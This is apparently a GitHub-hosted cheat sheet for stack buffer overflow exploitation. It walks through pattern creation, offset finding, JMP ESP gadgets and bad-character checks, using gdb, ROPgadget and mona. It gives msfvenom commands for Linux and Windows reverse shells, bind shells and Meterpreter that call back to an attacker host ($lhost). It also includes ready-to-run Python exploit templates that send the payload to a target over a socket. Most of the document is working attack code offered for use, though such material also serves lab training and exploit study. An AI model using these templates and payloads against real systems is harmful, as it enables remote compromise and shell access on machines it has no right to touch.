Skip to content

Latest commit

 

History

History
341 lines (247 loc) · 6.55 KB

File metadata and controls

341 lines (247 loc) · 6.55 KB

Buffer Overflow

Table of Contents


Methodology Overview

Quick Check (One-liner)

# Quick pattern create and shellcode generate
msf-pattern_create -l 500 && msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=$lport -b '\x00' -f python
[ Padding (A*offset) ] + [ Return Address (gadget) ] + [ NOP sled ] + [ Shellcode ]

Basic workflow:

  1. Create pattern → Crash program → Find offset
  2. Verify EIP control with pattern like "BBBB"
  3. Find JMP ESP gadget in binary
  4. Identify bad characters
  5. Generate shellcode with msfvenom
  6. Build and send exploit

Step 1: Create Pattern

# Create 200-byte pattern
msf-pattern_create -l 200

# Save to file
msf-pattern_create -l 200 > pattern.txt

# Ruby version (older)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

Step 2: Find Offset

After crashing the program, note the value in EIP register.

# Find offset from EIP value
msf-pattern_offset -q 0x37654136

# Example output: [*] Exact match at offset 140

Using GDB:

gdb -q ./vulnerable_binary
(gdb) run $(cat pattern.txt)
# Program crashes
(gdb) info registers eip

Step 3: Verify EIP Control

# Generate test payload: offset * 'A' + 'BBBB' + 'CCCC'
python3 -c 'print("A"*140 + "BBBB" + "C"*100)'

If EIP = 0x42424242 (BBBB), you control EIP successfully.


Step 4: Find JMP ESP Gadget

Using ROPgadget

# Find jmp esp in binary
ROPgadget --binary ./vulnerable_binary | grep -i "jmp esp"

# Alternative gadgets
ROPgadget --binary ./vulnerable_binary | grep -i "call esp"
ROPgadget --binary ./vulnerable_binary | grep -i "push esp; ret"

# Search in libc
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 | grep "jmp esp"

Using GDB

(gdb) file ./vulnerable_binary
(gdb) info files
# Note the .text section range (e.g., 0x08049070 - 0x08049212)

# Search for JMP ESP (FF E4)
(gdb) find 0x08049070, 0x08049212, 0xff, 0xe4

# Search for CALL ESP (FF D4)
(gdb) find 0x08049070, 0x08049212, 0xff, 0xd4

# Search for PUSH ESP; RET (54 C3)
(gdb) find 0x08049070, 0x08049212, 0x54, 0xc3

Common Gadget Opcodes

Instruction Opcode
JMP ESP FF E4
CALL ESP FF D4
PUSH ESP; RET 54 C3
JMP EAX FF E0
CALL EAX FF D0

Step 5: Identify Bad Characters

Common bad characters: \x00 (null), \x0a (newline), \x0d (carriage return)

Generate All Characters Test

# Generate test buffer
badchars = b""
for i in range(1, 256):  # Skip \x00
    badchars += bytes([i])

Send and Compare

  1. Send badchars as payload
  2. Examine memory in debugger
  3. Identify where characters are corrupted
# GDB - examine memory
(gdb) x/100xb $esp

# Compare sent vs received

Step 6: Generate Shellcode

Linux Bind Shell

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -e x86/shikata_ga_nai \
  -i 3 \
  -f python

Linux Reverse Shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=$lhost LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -f python

Windows Reverse Shell

msfvenom -p windows/shell_reverse_tcp LHOST=$lhost LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -f python

# Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=4444 \
  -b '\x00\x0a\x0d' \
  -f python

Msfvenom Options

Option Description
-p Payload
-b Bad characters to avoid
-e Encoder to use
-i Encoder iterations
-f Output format (python, c, raw, exe)
EXITFUNC=thread Clean exit method

Step 7: Build Exploit

Python 3 Exploit Template

#!/usr/bin/env python3
import socket
import sys

RHOST = "TARGET_IP"
RPORT = 1337
OFFSET = 140
GADGET = 0x08049186  # jmp esp address
NOP = b"\x90" * 32

# Shellcode from msfvenom
buf =  b""
buf += b"\xba\x6f\xa3\x8b\xeb..."  # Your shellcode here

# Build payload
payload  = b"A" * OFFSET
payload += GADGET.to_bytes(4, "little")
payload += NOP
payload += buf

# Check for bad characters
for b in (b"\x00", b"\x0a", b"\x0d"):
    if b in payload:
        print(f"[-] Bad character found: {b}")
        sys.exit(1)

print(f"[+] Payload length: {len(payload)}")

# Send exploit
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((RHOST, RPORT))
    print(f"[*] Banner: {s.recv(1024)}")
    s.sendall(payload + b"\n")
    s.close()
    print("[+] Payload sent!")
except Exception as e:
    print(f"[-] Error: {e}")

Local Exploit Template

#!/usr/bin/env python3
import subprocess

OFFSET = 140
GADGET = 0x08049186
NOP = b"\x90" * 32

# Shellcode
buf = b"\xba\x6f\xa3\x8b\xeb..."

payload  = b"A" * OFFSET
payload += GADGET.to_bytes(4, "little")
payload += NOP
payload += buf

# Run vulnerable binary with payload
subprocess.run(["./vulnerable_binary", payload])

Useful Tools

GDB Commands

# Start with args
(gdb) run $(python3 -c 'print("A"*200)')

# Disassemble
(gdb) disas main
(gdb) disas vulnerable_function

# Examine registers
(gdb) info registers
(gdb) info registers eip esp ebp

# Examine memory
(gdb) x/50xw $esp        # 50 words from ESP
(gdb) x/100xb $esp       # 100 bytes from ESP
(gdb) x/s 0xaddress      # As string

# Set breakpoint
(gdb) break main
(gdb) break *0x08049186

# Step
(gdb) stepi              # Single instruction
(gdb) nexti              # Next instruction

# Continue
(gdb) continue

Mona (Immunity Debugger)

Windows debugger plugin for exploit development

# Find jmp esp
!mona jmp -r esp

# Find pattern offset
!mona findmsp

# Generate pattern
!mona pattern_create 2000

# Find pattern offset
!mona pattern_offset 0x37654136

# Find bad characters
!mona bytearray -b "\x00"
!mona compare -f bytearray.bin -a <ESP_address>

# Find modules without protections
!mona modules

See Also